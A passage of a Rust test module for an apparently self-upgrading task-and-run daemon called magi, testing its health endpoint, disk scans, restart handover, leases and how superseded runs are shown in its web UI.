22890        tokio::time::timeout(Duration::from_secs(5), reached)
22891            .await
22892            .unwrap()
22893            .unwrap();
22894        let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
22895        let scans = duplicate_scans.clone();
22896        let changed = DiskObservation::observe(&state, new_scope.clone(), move |_| {
22897            scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22898            DiskCapacity::default()
22899        });
22900        assert!(changed.cache_bytes.is_none());
22901        assert!(changed.runs_bytes.is_none());
22902        release.send(()).unwrap();
22903        wait_for_disk_scan(&state).await;
22904        {
22905            let observation = state.lock().unwrap();
22906            assert!(observation.capacity.cache_bytes.is_none());
22907            assert!(observation.finished.is_none());
22908        }
22909        DiskObservation::observe(&state, new_scope.clone(), move |scope| {
22910            assert_eq!(scope, &new_scope);
22911            DiskCapacity {
22912                cache_bytes: Some(999),
22913                ..Default::default()
22914            }
22915        });
22916        wait_for_disk_scan(&state).await;
22917        assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(999));
22918        assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
22919    }
22920
22921    #[tokio::test]
22922    async fn health_disk_panicked_worker_releases_flight_and_retries_after_cadence() {
22923        let home = TempDir::new().unwrap();
22924        let scope = disk_test_scope(home.path());
22925        let state = Arc::new(Mutex::new(DiskObservation {
22926            scope: Some(scope.clone()),
22927            capacity: known_disk_capacity(),
22928            ..Default::default()
22929        }));
22930        DiskObservation::observe(&state, scope.clone(), |_| panic!("capacity worker failure"));
22931        wait_for_disk_scan(&state).await;
22932        {
22933            let mut observation = state.lock().unwrap();
22934            assert_eq!(observation.capacity.cache_bytes, Some(400));
22935            assert!(observation.finished.unwrap().elapsed() < DISK_REFRESH);
22936            observation.finished = Some(std::time::Instant::now() - DISK_REFRESH);
22937        }
22938        DiskObservation::observe(&state, scope, |_| DiskCapacity {
22939            cache_bytes: Some(450),
22940            ..Default::default()
22941        });
22942        wait_for_disk_scan(&state).await;
22943        assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(450));
22944    }
22945
22946    #[test]
22947    fn health_disk_capacity_counts_empty_and_missing_without_following_links() {
22948        let home = TempDir::new().unwrap();
22949        assert_eq!(disk_capacity_size(&home.path().join("missing")), Some(0));
22950        assert_eq!(disk_capacity_size(home.path()), Some(0));
22951        std::fs::create_dir(home.path().join("nested")).unwrap();
22952        std::fs::write(home.path().join("nested/data"), b"12345").unwrap();
22953        assert_eq!(disk_capacity_size(home.path()), Some(5));
22954        #[cfg(unix)]
22955        {
22956            // Unix distinguishes an invalid descendant lookup from absence.
22957            assert_eq!(
22958                disk_capacity_size(&home.path().join("nested/data/child")),
22959                None
22960            );
22961        }
22962        #[cfg(unix)]
22963        {
22964            std::os::unix::fs::symlink(home.path(), home.path().join("nested/link")).unwrap();
22965            assert_eq!(disk_capacity_size(home.path()), Some(5));
22966        }
22967    }
22968
22969    #[tokio::test]
22970    async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
22971        // `mode = "off"` for the same reason as the test above: a default
22972        // fixture repo falls back to `mode = "notify"`, which would make this
22973        // route's new `update` field a live, unauthenticated GitHub call on
22974        // every assertion in this suite that happens to hit `/api/health`.
22975        let repo = TempDir::new().expect("repo dir");
22976        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
22977            .expect("write magi.toml");
22978        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
22979
22980        let health = fx.get("/api/health").await.json();
22981        assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
22982        assert_eq!(
22983            health["update"]["available"], false,
22984            "checking is off, which reads as \"unknown\", not \"none\""
22985        );
22986        assert!(health["update"]["to"].is_null());
22987        assert!(
22988            health["upgrade"].is_null(),
22989            "nothing has ever asked this deck to upgrade"
22990        );
22991    }
22992
22993    #[tokio::test]
22994    async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
22995        let fx = Fixture::start().await;
22996        write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
22997
22998        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22999        progress.parked_run = Some("20260905-000000-cd51".to_owned());
23000        progress.advance(crate::updater::Stage::Parking);
23001        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
23002
23003        let health = fx.get("/api/health").await.json();
23004        assert_eq!(health["upgrade"]["stage"], "parking");
23005        assert_eq!(health["upgrade"]["from"], "0.5.1");
23006        assert_eq!(health["upgrade"]["to"], "0.5.2");
23007        let waiting_on = health["upgrade"]["waiting_on"]
23008            .as_str()
23009            .expect("waiting_on is set while parking a known run");
23010        assert!(waiting_on.contains("cd51"), "{waiting_on}");
23011        assert!(waiting_on.contains("implementing"), "{waiting_on}");
23012    }
23013
23014    #[tokio::test]
23015    async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
23016        let fx = Fixture::start().await;
23017        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23018        progress.advance(crate::updater::Stage::Done);
23019        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
23020
23021        let health = fx.get("/api/health").await.json();
23022        assert_eq!(health["upgrade"]["stage"], "done");
23023        assert!(
23024            health["upgrade"]["waiting_on"].is_null(),
23025            "nothing to wait on once it is done"
23026        );
23027    }
23028
23029    /// The handover signal is seen however the race falls, and wakes its one
23030    /// waiter once per signal - nothing here can spin.
23031    #[tokio::test]
23032    async fn the_handover_signal_wakes_one_waiter_once() {
23033        let signal = Notify::new();
23034        // Signalled before anyone waits: the stored permit is not lost.
23035        signal.notify_one();
23036        tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
23037            .await
23038            .expect("an early signal is still seen");
23039        // One signal, one wake-up: a second wait does not resolve by itself.
23040        assert!(
23041            tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
23042                .await
23043                .is_err(),
23044            "a consumed signal must not wake a second time"
23045        );
23046        // Signalled while waiting.
23047        let signal = std::sync::Arc::new(signal);
23048        let waiter = tokio::spawn({
23049            let signal = std::sync::Arc::clone(&signal);
23050            async move { wait_for_handover(&signal).await }
23051        });
23052        tokio::time::sleep(Duration::from_millis(20)).await;
23053        assert!(!waiter.is_finished(), "nothing was signalled yet");
23054        signal.notify_one();
23055        tokio::time::timeout(Duration::from_secs(5), waiter)
23056            .await
23057            .expect("a late signal wakes the waiter")
23058            .expect("join");
23059    }
23060
23061    #[tokio::test]
23062    async fn health_says_how_long_a_handover_has_been_stuck() {
23063        let fx = Fixture::start().await;
23064        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23065        progress.advance(crate::updater::Stage::Replaced);
23066        progress.updated_at = Timestamp::now() - Duration::from_secs(600);
23067        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
23068
23069        let health = fx.get("/api/health").await.json();
23070        let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
23071        assert!(stuck >= 600, "{stuck}");
23072        assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
23073        assert!(health["upgrade"]["waiting_on"].as_str().is_some());
23074    }
23075
23076    #[tokio::test]
23077    async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
23078        let home = tempfile::tempdir().expect("temp home");
23079        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23080        progress.advance(crate::updater::Stage::Parking);
23081        crate::updater::write_progress(home.path(), &progress).expect("seed");
23082        // What the second upgrade_and_restart and its handler do.
23083        let mut again = progress.clone();
23084        again.advance(crate::updater::Stage::Replaced);
23085        crate::updater::write_progress(home.path(), &again).expect("replaced");
23086        let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23087        crate::updater::write_progress(home.path(), &fresh).expect("downloading");
23088        let after = crate::updater::read_progress(home.path()).expect("record");
23089        assert_eq!(after.stage, crate::updater::Stage::Parking);
23090    }
23091
23092    #[tokio::test]
23093    async fn health_does_not_call_a_live_parking_wait_stuck() {
23094        let fx = Fixture::start().await;
23095        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23096        progress.parked_run = Some("20260905-000000-cd51".to_owned());
23097        progress.advance(crate::updater::Stage::Parking);
23098        let hours = Duration::from_secs(3 * 3600);
23099        progress.started_at = Timestamp::now() - hours;
23100        progress.updated_at = Timestamp::now() - hours;
23101        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
23102        let _lease = crate::updater::LeaseGuard::enter(
23103            fx.home.path(),
23104            Some("20260905-000000-cd51".to_owned()),
23105        );
23106
23107        let health = fx.get("/api/health").await.json();
23108        assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
23109        assert!(health["upgrade"]["stuck_kind"].is_null());
23110        assert_eq!(health["upgrade"]["handover_alive"], true);
23111        let waiting_on = health["upgrade"]["waiting_on"]
23112            .as_str()
23113            .expect("waiting_on");
23114        assert!(waiting_on.contains("cd51"), "{waiting_on}");
23115    }
23116
23117    fn idle_ui(home: &TempDir) -> Ui {
23118        let runs = home.path().join("runs");
23119        std::fs::create_dir_all(&runs).expect("runs dir");
23120        Ui::new(
23121            Queue::at(home.path().join("queue")),
23122            Questions::at(home.path().join("questions")),
23123            Talks::at(home.path().join("talks")),
23124            runs,
23125            home.path().to_path_buf(),
23126            PathBuf::from("/repo/magi"),
23127        )
23128        .with_launch(launch_idle)
23129    }
23130
23131    #[tokio::test]
23132    async fn start_during_scheduler_stop_is_busy_and_preserves_the_stop() {
23133        let home = TempDir::new().expect("temp home");
23134        let ui = idle_ui(&home);
23135        let lease = crate::worker::try_lease(home.path(), "scheduler")
23136            .expect("scheduler lease")
23137            .expect("free");
23138        crate::worker::request(home.path(), "scheduler", crate::worker::Control::Stop)
23139            .expect("request stop");
23140        let error = ui
23141            .start_detached_loop()
23142            .await
23143            .expect_err("transition is still live");
23144        assert_eq!(error.status, StatusCode::CONFLICT);
23145        assert!(error.message.contains("still running or stopping"));
23146        assert_eq!(
23147            crate::worker::control(home.path(), "scheduler").unwrap(),
23148            Some(crate::worker::Control::Stop)
23149        );
23150        drop(lease);
23151    }
23152
23153    #[tokio::test]
23154    async fn handover_releases_listener_without_waiting_for_execution_leases() {
23155        let home = TempDir::new().expect("temp home");
23156        let ui = idle_ui(&home);
23157        let turns = ui
23158            .begin_talk_turn("active-chat")
23159            .expect("claim")
23160            .expect("free");
23161        let execution = crate::worker::try_lease(home.path(), "active-task")
23162            .expect("execution lease")
23163            .expect("free");
23164        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
23165            .await
23166            .expect("bind loopback");
23167        let address = listener.local_addr().expect("address");
23168        let admissions = Arc::clone(&ui.admissions);
23169        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
23170        let successor_started = std::sync::atomic::AtomicBool::new(false);
23171        tokio::time::timeout(
23172            Duration::from_secs(2),
23173            hand_over(home.path(), &admissions, served, || {
23174                successor_started.store(true, std::sync::atomic::Ordering::SeqCst);
23175                Ok(1)
23176            }),
23177        )
23178        .await
23179        .expect("restart must not wait for execution")
23180        .expect("handover");
23181        assert!(successor_started.load(std::sync::atomic::Ordering::SeqCst));
23182        // BSD may retain the address briefly after listener release. The real
23183        // successor uses the same bounded bind retry rather than a one-shot bind.
23184        let successor = bind_waiting(address)
23185            .await
23186            .expect("successor binds released address");
23187        assert_eq!(successor.local_addr().unwrap(), address);
23188        assert!(turns.owns(), "the chat lease survives restart");
23189        assert!(
23190            crate::worker::try_lease(home.path(), "active-task")
23191                .unwrap()
23192                .is_none()
23193        );
23194        drop(execution);
23195        drop(turns);
23196    }
23197
23198    #[tokio::test]
23199    async fn handover_drains_admission_but_never_waits_for_the_chat_turn() {
23200        let home = TempDir::new().expect("temp home");
23201        let ui = idle_ui(&home);
23202        let admission = ui.begin_admission().expect("admit send");
23203        let turn = ui
23204            .begin_talk_turn("active-chat")
23205            .expect("claim")
23206            .expect("free");
23207        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
23208            .await
23209            .expect("bind loopback");
23210        let address = listener.local_addr().expect("address");
23211        let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
23212        let successor_called = std::sync::atomic::AtomicBool::new(false);
23213        let handover = hand_over(home.path(), &ui.admissions, served, || {
23214            successor_called.store(true, std::sync::atomic::Ordering::SeqCst);
23215            Ok(1)
23216        });
23217        tokio::pin!(handover);
23218        // Poll exactly to the writer waiting on our admission guard. This
23219        // pins the race without sleeps or assumptions about task scheduling.
23220        std::future::poll_fn(|cx| {
23221            assert!(std::future::Future::poll(handover.as_mut(), cx).is_pending());
23222            std::task::Poll::Ready(())
23223        })
23224        .await;
23225        assert!(!successor_called.load(std::sync::atomic::Ordering::SeqCst));
23226        assert!(
23227            ui.begin_admission().is_err(),
23228            "new ingress cannot race the drain"
23229        );
23230        assert_eq!(request(address, "GET", "/api/loop", None).await.status, 200);
23231        drop(admission);
23232        tokio::time::timeout(Duration::from_secs(2), handover)
23233            .await
23234            .expect("only publication may delay restart")
23235            .expect("handover");
23236        assert!(successor_called.load(std::sync::atomic::Ordering::SeqCst));
23237        assert!(
23238            turn.owns(),
23239            "the detached chat turn is not awaited or cancelled"
23240        );
23241        assert!(
23242            ui.begin_admission().is_err(),
23243            "old accepted connections stay closed"
23244        );
23245        drop(turn);
23246    }
23247
23248    #[test]
23249    fn health_worker_metadata_never_contains_payload_or_result() {
23250        let view = WorkerView::from(crate::worker::Job {
23251            id: "job".into(),
23252            sequence: 1,
23253            kind: "service".into(),
23254            key: "maintenance".into(),
23255            payload: serde_json::json!({"env": {"TOKEN": "private"}}),
23256            generation: "generation".into(),
23257            version: Some("1.2.3".into()),
23258            status: crate::worker::Status::Running,
23259            result: Some("private diagnostics".into()),
23260            pid: Some(4242),
23261            created_at: 1,
23262            finished_at: None,
23263        });
23264        let value = serde_json::to_value(view).expect("serialize public metadata");
23265        assert_eq!(value["version"], "1.2.3");
23266        assert_eq!(value["pid"], 4242);
23267        assert!(value.get("payload").is_none());
23268        assert!(value.get("result").is_none());
23269        assert!(!value.to_string().contains("private"));
23270    }
23271
23272    #[test]
23273    fn upgraded_scheduler_remains_owned_by_a_replacement_web() {
23274        let home = TempDir::new().expect("temp home");
23275        let ui = idle_ui(&home);
23276        std::fs::write(
23277            home.path().join("daemon.json"),
23278            serde_json::json!({
23279                "schema": 2, "pid": 4242, "worker_protocol": 1,
23280                "updated_at": Timestamp::now().to_string(), "idle": true,
23281            })
23282            .to_string(),
23283        )
23284        .expect("status");
23285        let reading = daemon::read_status(home.path());
23286        assert!(Foreign::of(reading.as_ref()).is_none());
23287        let view = ui.runtime_loop_view(reading, &[]);
23288        assert!(view.running);
23289        assert!(view.owned);
23290    }
23291
23292    #[test]
23293    fn only_an_explicit_one_requests_a_resume() {
23294        assert!(!resume_requested(None));
23295        assert!(!resume_requested(Some("0".into())));
23296        assert!(!resume_requested(Some("".into())));
23297        assert!(resume_requested(Some("1".into())));
23298    }
23299
23300    #[test]
23301    fn an_error_is_visible_from_where_the_button_is() {
23302        // The alert used to sit in the flow under the header. On a phone
23303        // scrolled 13 500 px down to a run's action sheet that is off screen,
23304        // so tapping Resume and being told "the loop is running run b455
23305        // right now" looked exactly like a button that did nothing.
23306        let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
23307            ..APP_CSS.find(".alert-text").expect(".alert-text")];
23308        assert!(
23309            alert.contains("position: fixed"),
23310            "an error about the thing under your thumb has to be visible from \
23311             where your thumb is: {alert}"
23312        );
23313        assert!(
23314            alert.contains("z-index: 25"),
23315            "above the dock (20) and the run-actions FAB (15), so neither \
23316             buries it: {alert}"
23317        );
23318        assert!(
23319            alert.contains("var(--tap)"),
23320            "and clear of the dock and the home indicator: {alert}"
23321        );
23322        // The FAB sits at the same height on the right. An error that covered
23323        // it would hide the button the operator reaches for next.
23324        assert!(
23325            alert.contains("var(--s4) + var(--tap) + var(--s3)"),
23326            "the FAB's column stays free: {alert}"
23327        );
23328    }
23329
23330    #[tokio::test]
23331    async fn an_older_attempt_says_what_replaced_it() {
23332        let fx = Fixture::start().await;
23333        let q = fx.queue();
23334        let runs = fx.runs();
23335        let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
23336        write_run(&runs, first, RunStatus::Stalled);
23337        write_run(&runs, second, RunStatus::Blocked);
23338
23339        let mut t = Task::new(
23340            "one task".to_owned(),
23341            "do it".to_owned(),
23342            PathBuf::from("/repo"),
23343            Source::Human,
23344        );
23345        t.runs = vec![first.to_owned(), second.to_owned()];
23346        q.put(&mut t).expect("put");
23347
23348        // Two cards with the same title and no hint which is which was the
23349        // question: "why are there two of the same, one stalled and one
23350        // blocked?" The older one now names its replacement.
23351        let rows = fx.get("/api/runs").await.json();
23352        let by = |short: &str| -> Value {
23353            rows.as_array()
23354                .unwrap()
23355                .iter()
23356                .find(|r| r["short"] == short)
23357                .cloned()
23358                .unwrap_or(Value::Null)
23359        };
23360        assert_eq!(by("aaaa")["superseded_by"], "bbbb");
23361        assert!(
23362            by("bbbb")["superseded_by"].is_null(),
23363            "the latest attempt is not superseded by anything"
23364        );
23365        // Front end: the note has to be rendered, not just carried.
23366        assert!(APP_JS.contains("run.superseded_by"));
23367        assert!(APP_JS.contains("Superseded by"));
23368    }
23369
23370    fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
23371        let mut t = Task::new(
23372            "one task".to_owned(),
23373            "do it".to_owned(),
23374            PathBuf::from("/repo"),
23375            Source::Human,
23376        );
23377        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
23378        t.status = status;
23379        t
23380    }
23381
23382    #[test]
23383    fn source_link_picks_the_page_that_filed_the_task() {
23384        let agent = |node: &str| Source::Agent {
23385            run: "20260904-014455-ab12".to_owned(),
23386            node: node.to_owned(),
23387        };
23388        let chat = source_link(&agent("chat")).expect("chat link");
23389        assert_eq!(chat.kind, "chat");
23390        assert_eq!(chat.id, "20260904-014455-ab12");
23391        assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
23392        let run = source_link(&agent("implement")).expect("run link");
23393        assert_eq!(
23394            (run.kind, run.href.as_str()),
23395            ("run", "#/runs/20260904-014455-ab12")
23396        );
23397        assert_eq!(source_link(&Source::Human), None);
23398        assert_eq!(
23399            source_link(&Source::Issue {
23400                number: 3,
23401                repo: "o/r".to_owned()
23402            }),
23403            None
23404        );
23405        let odd = source_link(&Source::Agent {
23406            run: "a b/c".to_owned(),
23407            node: "chat".to_owned(),
23408        })
23409        .expect("link");
23410        assert_eq!(odd.href, "#/chat/a%20b%2Fc");
23411    }
23412
23413    #[test]
23414    fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
23415        assert!(
23416            !APP_JS.contains("src.node === \"chat\""),
23417            "inline href rule is back"
23418        );
23419        assert!(
23420            APP_JS.matches("sourceLinkOf(").count() >= 4,
23421            "helper must serve every page"
23422        );
23423        assert!(
23424            APP_JS.matches("openChatLink(").count() >= 3,
23425            "the run page still needs its explicit chat link"
23426        );
23427        assert!(
23428            !APP_JS.contains("const openChat = el("),
23429            "the Queue card duplicates its source label link again"
23430        );
23431        assert!(
23432            APP_JS.contains("metaKids.push(link ? el(\"a\""),
23433            "the task page must link a chat source label too"
23434        );
23435    }
23436
23437    #[test]
23438    fn task_ref_carries_the_source_link_for_a_chat_task() {
23439        let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
23440        t.source = Source::Agent {
23441            run: "20260904-014455-ab12".to_owned(),
23442            node: "chat".to_owned(),
23443        };
23444        let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
23445        let v = serde_json::to_value(&out).expect("json");
23446        assert_eq!(v["source_link"]["kind"], "chat", "{v}");
23447        assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
23448        assert_eq!(v["source_label"], t.source.label());
23449
23450        let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
23451        let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
23452            .expect("json");
23453        assert!(v["source_link"].is_null(), "{v}");
23454    }
23455
23456    #[test]
23457    fn task_view_serializes_source_link() {
23458        let mut t = Task::new(
23459            "t".to_owned(),
23460            "t".to_owned(),
23461            PathBuf::from("/repo"),
23462            Source::Agent {
23463                run: "20260901-000000-aaaa".to_owned(),
23464                node: "implement".to_owned(),
23465            },
23466        );
23467        t.runs.clear();
23468        let v = serde_json::to_value(TaskView::from(t)).expect("json");
23469        assert_eq!(v["source_link"]["kind"], "run", "{v}");
23470        assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
23471    }
23472
23473    #[test]
23474    fn task_view_serializes_urgent_flag() {
23475        let mut t = Task::new(
23476            "t".to_owned(),
23477            "t".to_owned(),
23478            PathBuf::from("/repo"),
23479            Source::Human,
23480        );
23481        let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
23482        assert_eq!(v["urgent"], false, "{v}");
23483        t.urgent = true;
23484        let v = serde_json::to_value(TaskView::from(t)).expect("json");
23485        assert_eq!(v["urgent"], true, "{v}");
23486        assert!(APP_JS.contains("task.urgent === true"));
23487    }
23488
23489    #[tokio::test]
23490    async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
23491        let fx = Fixture::start().await;
23492        let runs = fx.runs();
23493        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
23494        write_run(&runs, old, RunStatus::Blocked);
23495        write_run(&runs, new, RunStatus::Merged);
23496        let mut t = outcome_task(&[old, new], TaskStatus::Done);
23497        fx.queue().put(&mut t).expect("put");
23498
23499        let view = fx.get(&format!("/api/runs/{old}")).await.json();
23500        let task = &view["task"];
23501        assert_eq!(task["status"], "done");
23502        assert_eq!(task["is_latest"], false);
23503        assert_eq!(task["latest"]["short"], "bbbb");
23504        assert_eq!(task["finished_by"]["id"], new);
23505        assert_eq!(task["finished_by"]["outcome"], "merged");
23506        assert_eq!(task["closed_by_hand"], false);
23507        assert_eq!(view["status"], "blocked", "the run keeps its own status");
23508        assert!(APP_JS.contains("finished_by"));
23509        assert!(APP_JS.contains("superseded by run"));
23510    }
23511
23512    #[tokio::test]
23513    async fn the_latest_run_reports_a_held_task_without_a_successor() {
23514        let fx = Fixture::start().await;
23515        let runs = fx.runs();
23516        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
23517        write_run(&runs, old, RunStatus::Stalled);
23518        write_run(&runs, new, RunStatus::Blocked);
23519        let mut t = outcome_task(&[old, new], TaskStatus::Held);
23520        fx.queue().put(&mut t).expect("put");
23521
23522        let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
23523        assert_eq!(task["status"], "held");
23524        assert_eq!(task["is_latest"], true);
23525        assert!(task["latest"].is_null());
23526        assert!(task["finished_by"].is_null());
23527        assert_eq!(task["closed_by_hand"], false);
23528    }
23529
23530    #[tokio::test]
23531    async fn a_direct_run_has_no_task_outcome() {
23532        let fx = Fixture::start().await;
23533        let runs = fx.runs();
23534        let id = "20260901-000000-aaaa";
23535        write_run(&runs, id, RunStatus::Blocked);
23536        let view = fx.get(&format!("/api/runs/{id}")).await.json();
23537        assert!(view["task"].is_null());
23538    }
23539
23540    #[test]
23541    fn task_outcome_does_not_guess_a_finishing_run() {
23542        let a = "20260901-000000-aaaa";
23543        let b = "20260901-000000-bbbb";
23544        let c = "20260901-000000-cccc";
23545        let dir = tempfile::tempdir().expect("tempdir");
23546        write_run(dir.path(), a, RunStatus::Blocked);
23547        write_run(dir.path(), b, RunStatus::VerifiedNoop);
23548        // `c` has no record: unreadable.
23549        let read = |id: &str| read_run(dir.path(), id).ok();
23550        // Neither a blocked run nor a no-op finished the task; the newest run is
23551        // unreadable and still named.
23552        let t = outcome_task(&[a, b, c], TaskStatus::Done);
23553        let out = task_outcome(&t, a, 3, read);
23554        assert!(out.finished_by.is_none());
23555        assert!(out.closed_by_hand);
23556        let latest = out.latest.expect("latest");
23557        assert_eq!(latest.id, c);
23558        assert_eq!(latest.status, None);
23559        assert_eq!(latest.outcome, "record unreadable");
23560
23561        // A Ready run settles the task as done, so it is named as the finisher.
23562        write_run(dir.path(), c, RunStatus::Ready);
23563        let t = outcome_task(&[a, c], TaskStatus::Done);
23564        let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
23565        assert_eq!(out.finished_by.expect("finisher").id, c);
23566        assert!(!out.closed_by_hand);
23567
23568        // A resumed run id repeats: it is still the latest by id.
23569        let t = outcome_task(&[a, b, a], TaskStatus::Held);
23570        assert!(task_outcome(&t, a, 3, read).is_latest);
23571    }
23572
23573    #[tokio::test]
23574    async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
23575        // The list route has known this since the card fix above; the detail
23576        // route — what an operator actually opens from a notification about
23577        // a blocked run — did not, and went on showing a bare red BLOCKED
23578        // chip for a run a retry had already finished.
23579        let fx = Fixture::start().await;
23580        let q = fx.queue();
23581        let runs = fx.runs();
23582        let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
23583        write_run(&runs, first, RunStatus::Blocked);
23584        write_run(&runs, second, RunStatus::Merged);
23585
23586        let mut t = Task::new(
23587            "one task".to_owned(),
23588            "do it".to_owned(),
23589            PathBuf::from("/repo"),
23590            Source::Human,
23591        );
23592        t.runs = vec![first.to_owned(), second.to_owned()];
23593        q.put(&mut t).expect("put");
23594
23595        let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
23596        assert_eq!(earlier["superseded_by"], "dddd");
23597        assert_eq!(earlier["latest_attempt"]["id"], second);
23598        assert_eq!(earlier["latest_attempt"]["short"], "dddd");
23599        assert_eq!(
23600            earlier["latest_attempt"]["resolved"], true,
23601            "the run that replaced it landed, so this one reads as settled"
23602        );
23603
23604        let later = fx.get(&format!("/api/runs/{second}")).await.json();
23605        assert!(
23606            later["superseded_by"].is_null(),
23607            "the latest attempt is not superseded by anything"
23608        );
23609        assert!(
23610            later["latest_attempt"].is_null(),
23611            "the latest attempt has no later attempt of its own"
23612        );
23613
23614        // Front end: the detail page has to read the field this route now
23615        // carries, downgrade the chip, and link to the run that replaced it —
23616        // not just repeat the list card's own logic under a different name.
23617        // The link is built off `latest_attempt.id`, the server-resolved
23618        // full id, never a bare short string a client would have to guess a
23619        // full run from.
23620        assert!(APP_JS.contains("run.latest_attempt"));
23621        assert!(APP_JS.contains("data-superseded"));
23622        assert!(APP_JS.contains("#/runs/${latest.id}"));
23623    }
23624
23625    #[tokio::test]
23626    async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
23627        // A -> B -> C, all Blocked except the last. A's immediate successor
23628        // (superseded_by) is B, which is itself unresolved; what an operator
23629        // opening A's page actually needs is where the task's story stands
23630        // *now* - C, not B - without depending on whether C happens to be in
23631        // whatever page of /api/runs the client last cached.
23632        let fx = Fixture::start().await;
23633        let q = fx.queue();
23634        let runs = fx.runs();
23635        let (a, b, c) = (
23636            "20260901-000000-aaaa",
23637            "20260901-000000-bbbb",
23638            "20260901-000000-cccc",
23639        );
23640        write_run(&runs, a, RunStatus::Blocked);
23641        write_run(&runs, b, RunStatus::Blocked);
23642        write_run(&runs, c, RunStatus::Merged);
23643
23644        let mut t = Task::new(
23645            "retried twice".to_owned(),
23646            "do it".to_owned(),
23647            PathBuf::from("/repo"),
23648            Source::Human,
23649        );
23650        t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
23651        q.put(&mut t).expect("put");
23652
23653        let view = fx.get(&format!("/api/runs/{a}")).await.json();
23654        assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
23655        assert_eq!(
23656            view["latest_attempt"]["id"], c,
23657            "the chain's current head, not the intermediate Blocked retry"
23658        );
23659        assert_eq!(view["latest_attempt"]["resolved"], true);
23660
23661        let mid = fx.get(&format!("/api/runs/{b}")).await.json();
23662        assert_eq!(mid["latest_attempt"]["id"], c);
23663        assert_eq!(mid["latest_attempt"]["resolved"], true);
23664    }
23665
23666    #[tokio::test]
23667    async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
23668        let fx = Fixture::start().await;
23669        let q = fx.queue();
23670        let runs = fx.runs();
23671
23672        // Still Blocked: the task is not resolved, so the older run must not
23673        // read as settled either.
23674        let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
23675        write_run(&runs, still_blocked_a, RunStatus::Blocked);
23676        write_run(&runs, still_blocked_b, RunStatus::Blocked);
23677        let mut t1 = Task::new(
23678            "still stuck".to_owned(),
23679            "do it".to_owned(),
23680            PathBuf::from("/repo"),
23681            Source::Human,
23682        );
23683        t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
23684        q.put(&mut t1).expect("put");
23685        let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
23686        assert_eq!(view1["latest_attempt"]["resolved"], false);
23687        assert_eq!(view1["latest_attempt"]["status"], "blocked");
23688        assert_eq!(view1["latest_attempt"]["done"], true);
23689
23690        // Still running: the successor exists and must be reported as such.
23691        let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
23692        write_run(&runs, run_a, RunStatus::Blocked);
23693        write_run(&runs, run_b, RunStatus::Implementing);
23694        let mut t3 = Task::new(
23695            "retrying".to_owned(),
23696            "do it".to_owned(),
23697            PathBuf::from("/repo"),
23698            Source::Human,
23699        );
23700        t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
23701        q.put(&mut t3).expect("put");
23702        let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
23703        assert_eq!(view3["latest_attempt"]["id"], run_b);
23704        assert_eq!(view3["latest_attempt"]["resolved"], false);
